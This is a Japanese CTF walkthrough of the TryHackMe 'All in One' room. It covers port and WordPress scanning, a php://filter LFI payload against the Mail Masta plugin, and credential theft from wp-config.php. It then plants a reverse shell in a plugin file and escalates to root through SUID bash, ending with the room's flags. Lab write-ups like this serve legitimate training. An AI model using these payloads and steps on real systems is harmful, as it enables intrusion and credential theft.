0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】All in One:Walkthrough

Posted at

概要

TryHackMe「All in One」のWalkthroughです。

Task1

Q1.user.txt

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.45.39 -oN nmap_result

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:5c:33:22:76:5c:93:66:cd:96:9c:16:6a:b3:17:a4 (RSA)
|   256 1b:6a:36:e1:8e:b4:96:5e:c6:ef:0d:91:37:58:59:b6 (ECDSA)
|_  256 fb:fa:db:ea:4e:ed:20:2b:91:18:9d:58:a0:6a:50:ec (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 7.6p1
80 http Apache httpd 2.4.29

ポートスキャンの結果からFTPにanonymousログインが可能だと分かったので実行しましたが、ファイルは設置されていませんでした。

$ ftp 10.10.45.39  
Connected to 10.10.45.39.
220 (vsFTPd 3.0.3)
Name (10.10.45.39:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||6969|)
150 Here comes the directory listing.
226 Directory send OK.

80番ポートのディレクトリスキャンをします。

$ dirsearch -r -u http://10.10.45.39

[09:43:08] 200 -    2KB - /wordpress/wp-login.php                           
[09:43:08] 200 -    7KB - /wordpress/ 

/wordpress/ を見つけたのでアクセスします。

image.png

wordpressの使用を確認できたのでWpScanで列挙します。

$ wpscan --url http://10.10.45.39/wordpress/ -e --api-token <api token>

[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
 | Found By: Rss Generator (Passive Detection)
 |  - http://10.10.45.39/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
 |  - http://10.10.45.39/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
 |
 | [!] 50 vulnerabilities identified:
 |
 | [!] Title: WordPress < 5.5.2 - Hardening Deserialization Requests
 |     Fixed in: 5.5.2
 |     References:
 |      - https://wpscan.com/vulnerability/f2bd06cf-f4e9-4077-90b0-fba80c3d0969
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28032
 |      - https://wordpress.org/news/2020/10/wordpress-5-5-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/add6bedf3a53b647d0ebda2970057912d3cd79d3
 |      - https://blog.wpscan.com/2020/10/30/wordpress-5.5.2-security-release.html
 |      - https://github.com/WordPress/Requests/security/advisories/GHSA-52qp-jpq7-6c54
 |
 (中略)
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
 |     Fixed in: 5.5.15
 |     References:
 |      - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/

[i] User(s) Identified:

[+] elyana
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://10.10.45.39/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

複数の脆弱性とelyanaアカウントを列挙できました。

CVE-2016-10956を発見したのでエクスプロイトを試すとLFIに成功しました。

[+] mail-masta
 | Location: http://10.10.45.39/wordpress/wp-content/plugins/mail-masta/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2014-09-19T07:52:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: Mail Masta <= 1.0 - Unauthenticated Local File Inclusion (LFI)
 |     References:
 |      - https://wpscan.com/vulnerability/5136d5cf-43c7-4d09-bf14-75ff8b77bb44
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10956
 |      - https://www.exploit-db.com/exploits/40290/
 |      - https://www.exploit-db.com/exploits/50226/
 |      - https://cxsecurity.com/issue/WLB-2016080220

/etc/passwdファイルからelyanaアカウントを確認できました。

image.png

LFIに成功したのでphp://filterでソースコードの取得を試みます。

count_of_send.php?pl=php://filter/convert.base64-encode/resource=../../../../../wp-config.phpパラメータを送信するとwp-config.phpのソースコードを取得できました。

image.png

base64でデコードし、ソースコードを確認するとDBの認証情報を得られました。

image.png

得られた認証情報Username: elyana,Password: H@ckme@123でWordPressのログインに成功しました。

image.png

image.png

Mail Mastaプラグインのview-campaign-mail.phpをリバーシェルコードに置き換えます。

image.png

Netcatでリッスンし、/wordpress/wp-content/plugins/mail-masta/inc/view-campaign-mail.phpへアクセスするとwww-dataのシェルを取得しました。

$ nc -lvnp 1234                                       
listening on [any] 1234 ...
$ whoami
www-data

TTYを設定します。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

/home/elyana/hint.txtを見ると、elyanaのパスワードはsystemに隠されているみたいです。

$ cat hint.txt
cat hint.txt
Elyana's user password is hidden in the system. Find it ;)

linpeasを実行すると/bin/bashにSUIDが設定されているのを確認できました。

$ ./linpeas.sh

(省略)

╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                            
strings Not Found

-rwsr-sr-x 1 root root 1.1M Jun  6  2019 /bin/bash

/bin/bashを利用して権限昇格に成功しました。

$ /bin/bash -p
/bin/bash -p
bash-4.4# whoami
whoami
root

/home/elyana/user.txtから文字列を得られました。

/home/elyana/user.txt
VEhNezQ5amc2NjZhbGI1ZTc2c2hydXNuNDlqZzY2NmFsYjVlNzZzaHJ1c259

base64でデコードし、フラグを得られました。

$ echo "VEhNezQ5amc2NjZhbGI1ZTc2c2hydXNuNDlqZzY2NmFsYjVlNzZzaHJ1c259" | base64 -d
THM{49jg666alb5e76shrusn49jg666alb5e76shrusn}

A.THM{49jg666alb5e76shrusn49jg666alb5e76shrusn}

Q2.root.txt

ルートフラグも同様に/root/root.txtから得られた文字列をbase64でデコードするとルートフラグを得られました。

$ echo "VEhNe3VlbTJ3aWdidWVtMndpZ2I2OHNuMmoxb3NwaTg2OHNuMmoxb3NwaTh9" | base64 -d
THM{uem2wigbuem2wigb68sn2j1ospi868sn2j1ospi8}

A.THM{uem2wigbuem2wigb68sn2j1ospi868sn2j1ospi8}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?